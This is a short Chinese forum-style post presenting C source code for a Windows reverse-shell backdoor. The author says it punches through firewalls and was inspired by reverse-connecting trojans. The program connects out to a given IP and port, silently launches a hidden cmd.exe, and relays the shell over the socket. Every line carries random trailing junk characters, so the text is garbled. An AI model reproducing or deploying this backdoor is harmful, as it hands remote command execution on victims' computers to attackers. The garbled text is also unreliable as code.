这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 hPNQGVv
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/* ============================== @8T
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Rebound port in Windows NT qhv4R| )
By wind,2006/7 C{U[w^X
===============================*/ !M#?kKj
#include m&;zLBA;
#include Ix%"4/z>
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#pragma comment(lib,"wsock32.lib") fbW,0
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void OutputShell(); 4IH0un
SOCKET sClient; 0Te)s3X
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; q|de*~@-P
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void main(int argc,char **argv) T/X?ZK(T
{ I3F6-gH
WSADATA stWsaData; 6jQ&dN{=qB
int nRet; Al;%u0]5
SOCKADDR_IN stSaiClient,stSaiServer; Q)7L^
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if(argc != 3) >*ha#PE
{ xP|%rl4
printf("Useage:\n\rRebound DestIP DestPort\n"); l=<F1L z
return; R
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} v{\n^|=])
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WSAStartup(MAKEWORD(2,2),&stWsaData);
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Dg];(c+/
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stSaiClient.sin_family = AF_INET; 7J</7\
stSaiClient.sin_port = htons(0); ?3KR(6D
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); %$!R] B)
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) v\r7.l:hf
{ R-0_226
printf("Bind Socket Failed!\n"); 071 E%u,
return; !Barc,kA
} C$]%1<-Iv]
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stSaiServer.sin_family = AF_INET; Ra15d^
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); o 0cc+
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); (,)vak&t
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) e
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{ i32_ZB Z?y
printf("Connect Error!"); cxF?&0[mY
return; xSMp[j
} SBYMDKZ
OutputShell(); k(vEp]
} xs83S.fHg
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void OutputShell() \p=W4W/
{ `!>dbR&1
char szBuff[1024]; Jr*S2z<*
SECURITY_ATTRIBUTES stSecurityAttributes; U{:(j5m
OSVERSIONINFO stOsversionInfo; Z2pN<S{5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; \w@_(4")Qb
STARTUPINFO stStartupInfo; Rs(CrB/M
char *szShell; H--*[3".
PROCESS_INFORMATION stProcessInformation; q4#f
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unsigned long lBytesRead; Y|qixpP
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); Osvz 3UMY3
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); E[htB><
stSecurityAttributes.lpSecurityDescriptor = 0; TF iM[
stSecurityAttributes.bInheritHandle = TRUE; &s}@7htE
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^J}$y7
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ~m;MM)_V
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [E
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stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d ;7pri)B
stStartupInfo.wShowWindow = SW_HIDE; =QKgsgLh
stStartupInfo.hStdInput = hReadPipe; SYW=L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; W$VCST
GO
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GetVersionEx(&stOsversionInfo); G]NtX4'4
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switch(stOsversionInfo.dwPlatformId) 6+f>XL#w
{ 36A.h,~
case 1: oTV8rG
szShell = "command.com"; SAxa7B/U2
break; #* /W!UOu
default: V]PhXVJ
szShell = "cmd.exe"; R_*D7|v
break; j?KB8oY`TP
} pNf9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f/WM}Hpj
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send(sClient,szMsg,77,0); ZT6X4 Z
while(1) :iOHc-x
{ Z6/~2S@
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); X.4ZLwX=
if(lBytesRead)
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{ Y1ilH-8
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); ;F]|HD9
send(sClient,szBuff,lBytesRead,0); OFL+Q~~C
} j6d"8oH
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else byj mH
{ G mUs U{
lBytesRead=recv(sClient,szBuff,1024,0); 41Q
if(lBytesRead<=0) break; huD\dmQ:]
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Rc.<0#
} }GNH)-AG)$
} n; '~"AG)
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return; J]^gF|
}